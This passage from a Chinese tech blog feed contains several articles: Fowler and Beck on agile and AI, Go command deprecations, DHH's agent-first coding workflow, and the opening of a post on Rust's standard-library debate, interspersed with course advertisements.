位“上古大神”中，有两个名字，如同北极星一般，指引了一代又一代程序员的成长：一位是《重构》的作者 Martin Fowler，另一位则是“极限编程（XP）”之父、敏捷宣言的发起人 Kent Beck。\n25 年后的今天，当生成式 AI 的海啸席卷全球，当“敏捷迭代”被 AI 的“瞬间生成”无情碾压时，我们不禁要问：敏捷已死吗？我们曾经信奉的那些工程哲学，还剩下什么？\n就在前几天，在一个汇聚了硅谷最火热 AI 创业者的闭门活动上，这两位白发苍苍的“活化石”出人意料地并肩坐到了一起，进行了一场关于 AI 时代的世纪对话。\n他们没有去鼓吹 AI 带来了多高的效率，反而用一种极其深刻、甚至有些悲观的视角，对当下这场“AI 狂欢”提出了终极拷问。这场对话，值得我们每一个身处其中的技术人，暂停手中飞速生成的代码，静下心来，一字一句地读完。\n历史的轮回：AI，不过是又一个“微处理器” 面对台下年轻开发者对 AI 的狂热与恐慌，Kent Beck 的开场异常平静。他把时间拉回到了自己还是个孩子的时候。\n“在微处理器（Microprocessor）诞生之前，电脑是一个你根本搬不动的庞然大物。当英特尔 4004 芯片问世时，我们突然意识到，‘等等，这也是一台电脑！’ 突然之间，你能做的事情的想象空间被无限放大了。”\nKent Beck 认为，今天的 AI，在本质上与当年的微处理器、后来的面向对象、再后来的互联网浪潮并无不同。它们都是“想象力的放大器”。\n他坦言自己现在正在用 AI 去做一些“极其离谱的、野心勃勃的项目”，比如用 Rust 写库级别的高质量代码。“很多都会失败，但这没关系，这就是探索的一部分。”\n而 Martin Fowler 则补充了他对技术浪潮的“二阶思考”：\n“你必须在‘怀疑主义’和‘好奇心’之间找到完美的平衡。我对区块链就极其怀疑。但我的怀疑主义必须是绝对的——这意味着，我必须连我自己的怀疑本身，都保持怀疑。”\n他坦言，自己一开始对 Copilot 这种东西也极度不屑，觉得它生成的都是垃圾。直到他读了 Simon Willison 的博客，才意识到：要用好一个工具，你必须先学会如何用好它。这和当年很多人嘲笑“面向对象”没用，但其实只是他们自己没有用对，是同一个道理。\n戳破幻觉：“敏捷”的敌人，从来不是瀑布开发 当被问及“AI 承诺的‘更快、更好、更便宜’，与 25 年前敏捷宣言的初衷是否一致”时，Kent Beck 抛出了一个极其扎心的观点：\n“事实证明，企业根本不想要更快、更好、更便宜。在一个公司内部，各种激励机制的错位，导致他们会惩罚那些真正追求效率的人。”\nMartin Fowler 对此深有同感。他认为，AI 与敏捷最大的不同在于，当年他们需要费尽口舌去说服企业“敏捷有多重要”，而今天，没有任何一家公司敢对 AI 的重要性视而不见。\n但这恰恰是最大的陷阱。\n当年的“敏捷转型”，在无数企业中最终都演变成了一场“形式主义的灾难”，催生了庞大的“敏捷工业复合体”。\n而今天，同样的剧本正在 AI 身上重演。无数根本不懂技术的咨询公司，正在兜售着各种“AI 转型”的灵丹妙药。\nAI 正在成为新的“蛇油（Snake Oil）”。\n注：“蛇油”是19 世纪的美国民间骗局，有人贩卖一种据说能治百病的“蛇油”之类的神药。其核心特征是用夸张的疗效宣传、用故事/神秘疗法包装、同时缺乏科学依据，最后你花钱买到的往往是没用甚至有害的东西。\n架构师的终极拷问：AI 正在摧毁程序员的“社交” 如果说对“蛇油”的警惕还只是宏观层面的担忧，那么 Kent Beck 接下来提出的观点，则直接刺向了每一个正在享受 AI 编码便利的开发者。\n他认为，AI 正在让软件开发**“重新孤岛化（Re-soloing of programming）”**。\n“极限编程（XP）很大一部分工作，是为那些天生不善社交的程序员，创造一个安全的社交环境。在一个 XP 团队里，人们每天花几个小时进行结对编程、激烈讨论，并乐在其中。”\n“但我现在看到的是什么？‘我是一个程序员，我手下有 6 个 Agent，所以我是一个小团队的管理者。’ 不，你不是。你只是在同时使用 6 个工具。”\n在过去，我们把程序员从一个个封闭的办公室里解放出来，让他们围坐在一起，通过“混乱、复杂、充满人味儿”的社交过程，去创造伟大的软件。\n而现在，我们似乎又在主动退回那个“把程序员关进小黑屋，从门缝底下塞披萨”的时代。只不过，这次陪伴你的，是几个冰冷的 AI 机器人。\nMartin Fowler 也表达了同样的担忧：\n“未来的团队，到底是‘一个披萨的团队’（因为 Agent 不吃披萨），还是一个‘两个披萨的团队，但效率翻倍’？我赌后者。”\n他认为，“两个人类 + N 个 AI” 的结对编程模式，可能是未来的答案。因为两个人类可以更好地控制 AI 的方向，同时保留了宝贵的人类交互。\n有趣的是，Kent Beck 甚至觉得现在的 AI 有点“太快了”。\n“当 AI 需要 3 分钟才能返回结果时，我们正好可以利用这段时间，去讨论一下变量命名的哲学，或者下一步的架构方向。但如果它 15 秒就返回了，我们就失去了交流的时间。”\n手艺人的黄昏：当 AI 剥夺了“重构的快感” 在对话的最后，当被问及“AI 时代，程序员该如何自处”时，Kent Beck 的一段独白，充满了“手艺人”的失落与悲情，足以让每一个热爱编码的资深开发者瞬间破防。\n“我过去在编程中获得的一种‘强迫症’般的享受，正在消失。那种把一个文件从一坨屎山，通过无数个微小、安全的步骤，最终重构成一件艺术品的快感，再也没有了。”\n“我依然可以从宏观上理解我正在做什么。但我需要把我的关注点，从享受‘雕琢程序本身’，转移到享受‘理解业务领域’上。因为在‘雕琢程序’这件事上，我们已经失去了杠杆。”\nMartin Fowler 则给出了更具操作性的建议：\n“一个有趣的现象是：开发者体验（Developer Experience）和智能体体验（Agent Experience）的维恩图，是一个完美的圆。对 Agent 友好的代码，对人类也友好。”\n他认为，拥有良好模块化、清晰接口和完备测试的代码，AI 处理起来会更得心应手。我们过去几十年积累的那些“手艺”，并没有过时，它们只是从“指导人类”变成了“指导 AI”。\n小结：在不确定的浪潮中，抓住不变的礁石 这场持续了一个多小时的对话，没有给出任何关于“如何写 Prompt”、“用哪个模型”的答案。\n但这两位穿越了数个技术周期的智者，用他们的人生经验，为我们指明了在 AI 这场史无前例的巨浪中，唯一能抓住的几块礁石：\n保持绝对的怀疑，包括对怀疑本身的怀疑。 学会设计最小化的实验，亲自去验证那些天花乱坠的说法。 不要放弃与人交流，那才是创造力的真正源泉。 把你的代码写得更清晰、更模块化、测试更完备。这不仅是为了你自己，更是为了你未来的 AI 同事。 最后，Kent Beck 给出了一个极其悲壮的建议：或许，我们是时候放弃享受“雕琢代码”的乐趣，而去享受“理解世界”的乐趣了。\n这或许是对 AI 时代，我们这些“数字手艺人”最深刻、也最无奈的宿命注解。\n资料链接：https://www.youtube.com/watch?v=CZs8J1ZD0CE\n今日互动探讨：\n在使用 AI 编程后，你是否也像 Kent Beck 一样，感觉失去了那种“重构屎山”的快感？在 AI 时代，你认为“结对编程”是会消亡，还是会变得更加重要？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/12/agile-manifesto-dead-in-ai-era-martin-fowler-kent-beck/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/agile-manifesto-dead-in-ai-era-martin-fowler-kent-beck-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/12/agile-manifesto-dead-in-ai-era-martin-fowler-kent-beck\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/12/agile-manifesto-dead-in-ai-era-martin-fowler-kent-beck\"\u003ehttps://tonybai.com/2026/04/12/agile-manifesto-dead-in-ai-era-martin-fowler-kent-beck\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e25 年前，在美国犹他州的一间滑雪小屋里，17 位当时最顶尖的软件开发者聚集一堂，共同签署了一份将彻底改变未来二十年软件工程形态的纲领——《\u003ca href=\"https://agilemanifesto.org/\"\u003e敏捷软件开发宣言\u003c/a\u003e》。\u003c/p\u003e","title":"AI 时代，敏捷宣言已死？听听 Martin Fowler 和 Kent Beck 怎么说"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/11/go-command-working-group-formed-legacy-commands-deprecated\n大家好，我是Tony Bai。\n在这个技术浪潮汹涌的时代，Go 语言以其惊人的稳定性和向后兼容性著称。但稳定，并不代表停滞。\n就在最近，Go 核心团队内部悄然发生了一件大事：他们正式成立了一个全新的 “Go Command 工作组（Go Command Working Group）”。\n这个工作组汇聚了 Go 工具链领域最核心的大神们（如 Cherry Mui、Matloob、ThePudds 等）。他们的使命非常明确：对 go 命令集中那些最古老、最含糊、最容易引发开发者困惑的“历史遗留问题”，进行一次彻底的“清理门户”。\n就在前几天，这个“指挥部”的前两次闭门会议纪要，以及随之而来的两份重磅提案（Issue #78350 和 #78387被公之于众。\n当我读完这些提案和讨论后，我意识到，一场关于 Go 语言未来的“静默革命”已经打响。今天，就让我们来拆解这场顶级大佬的闭门会议，看看我们用了十年的几个“祖传命令”，为什么即将面临被废除的命运。\n第一刀：砍向 go list …，这个“万能匹配”为何成了大坑？ 如果你写过稍微复杂一点的 Go 项目，甚至只是写过一些 Makefile，你大概率见过 go list …。\n在早期，go list …中的这三个点的省略号 … 意味着“匹配所有（Everything）”。\n但在 Go Modules 时代，这条命令成了一个彻头彻尾的“陷阱”。\n在最新的 Issue #78387 提案中，工作组负责人 Matloob 毫不客气地指出：\n“在Go 模块模式下，go list … 几乎永远做不出用户期望它做的事！”\n大佬辩论现场还原：\nMatloob（主刀人）：它试图列出构建列表中所有模块的所有包，这会导致解析一大堆根本不需要的依赖。如果直接在模块下运行，它甚至会因为找不到工作区依赖而直接抛出莫名其妙的错误。 PJ Weinberger：强烈支持（废弃）！ ThePudds：模块图剪枝（Pruning）在Go 1.17引入后，匹配模式的含义变得非常复杂，连文档都没完全跟上。大家越来越搞不懂 … 到底代表什么了。 为什么必须砍掉它？\n在旧的 GOPATH 时代，go list … 能简单粗暴地列出 $GOPATH/src 下的所有包。但在 Modules 时代，你想要的其实是当前项目的所有包，也就是 go list ./…（注意前面的 ./）。\n直接用 … 会引发漫长且无意义的全局依赖解析，甚至导致构建失败。\n更有意思的是，核心成员 Sean Liao (seankhliao) 用 GitHub 搜索了一下，发现有将近 6700 个 Makefile 或脚本里还写着 …。但经过抽查发现，这些代码大多是从几年前的旧教程里复制粘贴过来的，实际上在现在的模块模式下，它们本来就已经跑不通了。\n经过讨论，工作组达成初步共识：在模块模式下，直接使用 go list … 将会报错并被禁用。系统会提示你改用 ./… 或者 work 模式。如果你公司的古老 CI 脚本里还有这个写法，赶紧改！\n第二刀：GO111MODULE=auto 的黄昏，彻底关上 GOPATH 的大门 GO111MODULE 这个环境变量，是无数 Gopher 从 GOPATH 时代痛苦过渡到 Modules 时代的“阵痛记忆”。\n它有三个值：on（强制开启模块）、off（强制关闭）、以及 auto（自动检测）。\n在 Issue #78350 提案中，工作组决定对 auto 下达最终的“死亡通知书”。\n大佬辩论现场还原：\nMatloob：我们提议，将 GO111MODULE=auto 的行为直接等同于 on。实际上这就是把它给“移除”了。 Cherry Mui（安全与数据派）：我们应该现在就开启遥测（Telemetry），看看到底还有多少人在用 auto。我们无法预测什么时候会需要这些数据。 ThePudds（社区观察家）：确实还有少数人，比如只想在命令行随手编译一个单文件脚本，不想建 go.mod 的人，还在享受 GOPATH 模式。 为什么必须砍掉 auto？\nauto 的逻辑是：如果当前或上层目录有 go.mod，就用模块模式；否则就回退到 GOPATH 模式。\n这种“左右摇摆”的行为在十年前是伟大的过渡方案，但在今天却成了巨大的累赘。\nGo 的工具链在启动时，每次都要去猜自己到底在什么模式下运行。如果彻底砍掉 auto（即默认全局 on），编译器可以做大量的架构简化。\n更有趣的是，在提案的评论区，有开发者表示他们为了在旧 GOPATH 项目和新 Modules 项目间切换，在全局环境变量里写死了 GO111MODULE=auto。\n但 Go 团队的决心是坚定的：到了 2026 年，如果你真的还在维护古老的 GOPATH 项目，你应该显式地在那个目录下设置 GO111MODULE=off。默认情况下，大门已经向 GOPATH 彻底关闭。\n第三刀：终结 go.mod 里的版本号“无意义内卷” 除了上述两个直接废弃的命令，会议纪要中还透露了一个极具前瞻性、也最能体现 Go 团队“工程哲学”的重磅提议：关于 go.mod 文件中 Go 版本号的简化。\n如果你现在运行 go mod init my-module，生成的 go.mod 文件里会包含一个精确到补丁号（Patch version）的版本，比如 go 1.26.2。\n这引发了一个极其无聊，却又在开源界反复上演的“内卷”：\n每次 Go 发布一个新的小补丁版本，Github Dependabot 这种自动化机器人就会疯狂地给全世界的开源项目提 PR，要求把 go.mod 里的版本号也跟着升上去。\n大佬辩论现场还原：\nThePudds：这种为了升级而升级的行为，带来了巨大的“噪音（Noise）”，却没有相应的收益。我们应该倡导一个最佳实践：默认情况下，go mod init 应该只生成主次版本号（如 go 1.26），补丁号应该是可选的且不推荐设置！ Cherry Mui（安全视角）：等一下，这需要跟安全团队确认。如果某个补丁修复了严重的安全漏洞，漏扫工具会不会因为开发者没写补丁号而漏报？ ThePudds：每个开发者都有自己本地的构建工具链决策权。仅仅因为 Go 出了个补丁，并不意味着世界上每一个开源库都需要立刻被 Dependabot 强行更新一次 go.mod 文件。 go.mod 里的 go 指令，核心作用是**“启用语言的语法特性”**。只要你的代码没用新语法，写 1.26 就足够了。至于构建时到底用 1.26.3 还是 1.26.8 的编译器来保证安全，那是执行构建动作的人（或者 CI 系统）该操心的事，而不是由成千上万个基础库的 go.mod 文件来反向绑架。\n这项提议一旦落地，将彻底终结无意义的 PR 轰炸，让开源维护者重新获得清净。\n小结：一场“静默的革命” Go Command 工作组的这两次会议，没有像泛型那样引入任何惊天动地的新语法。\n但它对 Go 语言生态的影响，可能比任何一个新特性都要深远。\n它像一个经验丰富的老园丁，正在小心翼翼但又果断地修剪 Go 这棵大树上那些已经枯萎、或者长歪了的枝桠。\n砍掉 go list …，是为了让模块查询的逻辑更清晰。 砍掉 GO111MODULE=auto，是为了让构建环境更具确定性。 简化 go.mod 的补丁号，是为了让整个生态的协作更高效。 在这场“静默的革命”背后，我们看到的，是 Go 团队对**“简单性、确定性、工程效率”**这三大工程哲学一以贯之的坚守。\nGo 语言的伟大，不在于它有多么强大的功能，而在于它在过去十几年里，拒绝了多少看似“合理”的坏品味。而这场“清理门户”，才刚刚开始。\n资料链接：https://github.com/golang/go/issues/78474\n今日互动探讨：\n在日常开发中，你被 Go 命令行的哪些“反直觉”行为坑过？对于废弃 go list … 和 GO111MODULE=auto，你是拍手叫好还是觉得会影响你的老项目？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/11/go-command-working-group-formed-legacy-commands-deprecated/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-command-working-group-formed-legacy-commands-deprecated-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/11/go-command-working-group-formed-legacy-commands-deprecated\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/11/go-command-working-group-formed-legacy-commands-deprecated\"\u003ehttps://tonybai.com/2026/04/11/go-command-working-group-formed-legacy-commands-deprecated\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个技术浪潮汹涌的时代，Go 语言以其惊人的稳定性和向后兼容性著称。但稳定，并不代表停滞。\u003c/p\u003e\n\u003cp\u003e就在最近，Go 核心团队内部悄然发生了一件大事：他们正式成立了一个全新的 “\u003ca href=\"https://github.com/golang/go/issues/78474\"\u003eGo Command 工作组（Go Command Working Group）\u003c/a\u003e”。\u003c/p\u003e","title":"Go Command 工作组成立：这几个用了十年的命令可能要被废！"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/10/rails-father-dhh-on-ai-and-programmer-value\n大家好，我是Tony Bai。\n在这个由 AI 主导的、充满不确定性的 2026 年，整个软件行业似乎都被一种集体性的焦虑所笼罩。我们每天都在讨论：当 AI 能在一分钟内写完我们一周的代码时，我们这些“人类程序员”的价值还剩下多少？\n就在所有人都在悲观地预测“程序员即将贬值”时，一位以“毒舌”和“极简主义”著称的硅谷大神，却逆着人潮，抛出了一个极其震撼的“反共识”暴论：\n“我们可能已经见证了‘普通程序员’薪资的顶峰。但对于那些顶尖的、真正懂行的开发者来说，AI 正在让他们变得比以往任何时候都更值钱、更有价值。”\n说出这句话的，正是 David Heinemeier Hansson (DHH)——Ruby on Rails 框架之父、37signals (Basecamp \u0026amp; HEY) 的联合创始人兼 CTO。\n就在几个月前，DHH 还是 AI 编程最坚定的“喷子”之一。他曾公开嘲讽 Copilot 像个烦人的实习生，打断他的思路，生成的代码全是垃圾。\n但在一场最新的深度访谈中，他却上演了一场惊天动地的“自我推翻”。他不仅承认自己已经“彻底投降”，更是将他现在的工作流形容为 “Agent First on Everything”（万物皆以智能体为先）。\n这场 180 度的惊天逆转背后，到底发生了什么？在这场信息量爆炸的对话中，DHH 不仅详细复盘了让他“觉醒”的那个“aha moment”，更对 AI 时代的程序员价值、团队协作、以及“软件匠艺”的未来，给出了极其深刻、甚至有些残酷的终极洞见。\n从“令人作呕”到“欲罢不能”：DHH 的“觉醒”之路 DHH 坦言，在 Copilot 和早期 Cursor 的“代码补全（Autocomplete）”时代，他对此类工具的厌恶达到了顶峰。\n“我感到无比愤怒。它总是在我还没想清楚的时候就试图猜我想写什么。‘你是想写这个吗？’‘你是想写那个吗？’ 闭嘴！让我自己把话说完！”\n他甚至一度悲观地认为，整个行业将走向一个由“Tab 键”驱动的、毫无思想的愚蠢未来，并开玩笑说自己可能要去丹麦种土豆了。\n转折点发生在 2025 年的冬天。两个关键变量，彻底改变了游戏规则：\n模型的质变：Anthropic 的 Claude Opus 4.5 模型发布。DHH 发现，这个模型生成的代码质量，第一次持续地、稳定地震惊到了他。它产出的代码，在很多时候，是他自己也愿意合并的。 交互范式的革命：以 Open Code 和 Claude Code 为代表的 Agent Harnesses出现。AI 不再是那个烦人的“代码补全机”，而是变成了一个可以独立使用工具（Bash、网络）、拥有自己终端的“数字同事”。 DHH 形容，当这两个变量结合在一起时，他迎来了职业生涯的“第二次启蒙”——上一次，是 2000 年初他第一次发现 Ruby 语言的优雅。\n“我不再是那个在键盘上打字的人，我感觉自己像是穿上了一套超级机甲。我突然长出了 12 只手，可以同时操作 7 个屏幕。我作为程序员的能力，被极度放大了。”\n我们可能已经度过了“程序员薪资的顶峰” 当被问及 AI 是否会取代程序员时，DHH 毫不避讳地抛出了一个极其冷酷的观点：\n我们很可能已经见证了“程序员（作为一种普通职业）”的黄金时代顶峰。\n他认为，在过去，程序员之所以能获得极高的薪资，是因为他们是生产软件的“瓶颈资源”。产品经理想出一个绝妙的点子，必须排队等待昂贵的程序员花几周时间才能实现。\n但现在，瓶颈正在快速转移。\n“当产品经理自己就能用 AI 生成可用的代码时，事情就要变天了。在任何一个软件开发被视为‘成本中心’（而这恰恰是世界上绝大多数的软件开发场景）的公司，降薪和裁员的压力将是不可避免的。”\n但这是否意味着所有程序员都会被淘汰？\n恰恰相反。DHH 认为，AI 正在引发一场剧烈的**“价值两极分化”**。\n中间层的崩溃：那些只会“把需求翻译成代码”的普通程序员，其价值正在被无限稀释。因为 AI 做这件事更快、更便宜。 顶尖人才的价值飙升：那些具备极高**“品味（Taste）”、“审美（Aesthetics）”和“架构判断力”**的资深工程师，他们的价值正在被 AI 放大 10 倍甚至 100 倍。 因为他们是那个能够判断“AI 生成的东西是对是错、是美是丑”的最终把关人。他们从“体力劳动者”，进化为了“艺术总监”。\n当 AI 能写所有代码，我们还剩下什么？ 在这场对话中，DHH 反复强调一个词：Aesthetics is truth（美学就是真理）。\n他认为，无论是在数学、物理学还是软件工程中，一个优美的解决方案，往往也正是那个正确的方案。\n“乔布斯之所以关心 Mac 电脑机箱内部的走线，是因为他凭直觉知道，只有那些在乎印刷电路板布局的人，才会去死磕用户界面的每一个像素。”\n在 AI 时代，这种对“美”的追求，不仅没有过时，反而变得空前重要。\n因为当你拥有了无限的“算力（AI）”时，唯一稀缺的，就是**“品味（Taste）”**。\nDHH 认为，未来顶尖的软件工程师，其核心竞争力将不再是“知道多少种排序算法”，而是：\n产品感：深刻理解“我们应该做什么，不应该做什么”。 系统设计能力：将模糊的业务需求，抽象为清晰、优美的架构。 极高的审美标准：能够引导 AI 生成不仅能工作、而且看起来赏心悦目、易于维护的代码。 代码的实现，正在变得廉价；而代码的“品味”，正在变得无价。\n大神的日常：我是如何指挥 AI “军团”的？ DHH 详细分享了他现在的“Agent-First”工作流，堪称教科书级：\n他使用 tmux 在终端里创建了一个三分屏布局：\n左侧是 Neovim 编辑器。 右上是跑着 Google Gemini 的 Open Code。 右下是跑着 Claude Opus 的 Claude Code。 “我几乎所有的工作都从其中一个 Agent 开始。我给它一个模糊的指令，然后看着它生成初稿。然后我把初稿扔给另一个 Agent，让它去批判和重构。我让它们俩来回‘吵架’。最后，我再跳到 Neovim 里，做那个最终的‘裁判’。”\n他分享了一个让他自己都感到震惊的案例：\n37signals 的 Linux 发行版 Omarchy 积压了 250 个无人处理的 PR。他花了 90 分钟，让 Claude 帮他审完了其中 100 个。\n10% 直接合并。 20% Claude 觉得思路对，但实现太烂，直接帮他重写了一版。 剩下的大部分，要么被他判定为“不需要”，要么被 Claude 识别为“实现太差且没有好思路”，直接关闭。 “这在以前至少是一周的工作量。更重要的是，其中一半的 PR 涉及我不懂的领域，Claude 在那些领域，是比我更聪明、更优秀的审查者。”\n野心的爆炸：探索一个直觉的成本，已被降低一千倍 DHH 在访谈中提到了一个极具启发性的概念：AI 正在让“雄心（Ambition）”变得廉价。\n他举例，他让 Agent 在几天内，为一个搁置已久的需求（为 Omarchy 实现 Windows 双系统启动）制定了一套完整的、可执行的方案。而在过去，他连花 4 个小时去调研的意愿都没有。因为这件事“重要但不紧急”，而且“非常麻烦”。\n“探索一个直觉的成本，已经被降低了一千倍。我们现在可以去挑战那些过去连想都不敢想的项目。”\n他分享了 37signals 内部的一个真实案例：一位名叫 Jeremy 的工程师，利用 AI 发起了一个名为“P1 优化”的疯狂项目。他要去优化系统中那最快的 1% 的请求，让它们变得更快。\n这在传统性能优化的世界里，简直是“吃饱了撑的”。\n但 Jeremy 仅用了几天时间，通过让 Agent 疯狂分析和重构，提交了 12 个 PR，硬生生把这 1% 请求的延迟从 4ms 压缩到了 0.5ms 以下，实现了 10 倍的性能提升。\n当探索的成本趋近于零时，过去那些被视为“无用功”的边缘优化，将共同汇聚成压倒性的产品优势。\n小结：这是一场关于“手艺”的文艺复兴 在访谈的结尾，DHH 表达了他对未来的极度乐观。\n他认为，AI 并没有让编程变得无趣，反而让他找回了自 2000 年初发现 Ruby 以来最大的快感。\nDHH 的这场“觉醒”，不仅仅是一个技术大佬对新工具的拥抱。它更像一个宣言：\n在 AI 时代，软件工程的“手艺（Craft）”并没有消亡，它只是从“雕琢代码”的微观层面，升维到了“塑造品味”与“驾驭系统”的宏观层面。\nAI 正在无情地淘汰那些只会“拧螺丝”的码农，但同时，它也为那些真正热爱创造、拥有极高审美和品味的“工匠”，递上了一把前所未有的神兵利器。\n你，准备好拿起它了吗？\n资料链接：https://www.youtube.com/watch?v=JiWgKRgdgpI\n今日互动探讨：\n在使用 AI 编程后，你是否也像 DHH 一样，感觉自己的“野心”被放大了，敢于去挑战更复杂的项目？在你的工作中，AI 是更多地扮演“体力外包”，还是“创意伙伴”的角色？\n欢迎在评论区分享你的真实感受！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/04/10/rails-father-dhh-on-ai-and-programmer-value/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/rails-father-dhh-on-ai-and-programmer-value-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/04/10/rails-father-dhh-on-ai-and-programmer-value\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/04/10/rails-father-dhh-on-ai-and-programmer-value\"\u003ehttps://tonybai.com/2026/04/10/rails-father-dhh-on-ai-and-programmer-value\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在这个由 AI 主导的、充满不确定性的 2026 年，整个软件行业似乎都被一种集体性的焦虑所笼罩。我们每天都在讨论：当 AI 能在一分钟内写完我们一周的代码时，我们这些“人类程序员”的价值还剩下多少？\u003c/p\u003e","title":"Ruby on Rails 之父最新访谈：AI 正在推高顶尖程序员的身价"},{"content":"\n本文永久链接 – https://tonybai.com/2026/04/09/stop-being-small-and-beautiful-rust-petition-to-learn-from-go\n大家好，我是Tony Bai。\n如果你之前经常听 Go 社区最火的播客 GoTime(很遗憾，该播客2024年末因平台原因停播了)，你一定会熟悉每期节目最后的那个经典环节——“Unpopular Opinion”（非主流观点）。在这个环节，嘉宾们会分享一些看似离经叛道、却往往一针见血的“暴论”。\n但就在前几天，这个流行于 Go 社区的“梗”，却被隔壁的 Rust 社区“偷”了过去，并掀起了一场史诗级的“路线之争”。\n一位 Rust 开发者，在 r/rust 论坛上发了一篇帖子，标题就叫：《Unpopular opinion: Rust should have a larger standard library》（非主流观点：Rust 应该有一个更大的标准库）。\n他在这篇帖子中发出了灵魂拷问：\n“我不想为了写一个程序，被迫去拉几百个我根本没时间、也没人去审计的第三方依赖包。看看隔壁的 Go 是怎么做标准库的，你几乎可以不依赖任何三方包就构建出复杂的系统！”\n这篇帖子瞬间引爆了 Rust 社区。短短一天，帖子收获了近 700 的高赞和近 300 条激烈辩论。\n这看起来像是一场简单的“库多库少”之争，但本质上，它背后是 Rust 这门以“零成本抽象、极致安全”著称的语言，在面对日益猖獗的供应链安全威胁和 Go 语言“开箱即用”的降维打击时，所爆发的一场深刻的身份危机与哲学反思。\n“小而美”的代价：悬在每个 Rust 项目头顶的达摩克利斯之剑 长期以来，Rust 社区一直为自己“小核心、强生态”的模式感到自豪。Rust 的标准库（std）极其精简，只提供最基础、最核心的功能。任何稍微高级一点的需求，比如随机数生成、异步运行时、序列化，官方都鼓励你去 crates.io 上找社区“钦定”的“明星库”（Blessed Crates）。\n这套模式在早期极大地促进了生态的繁荣。但随着 npm left-pad 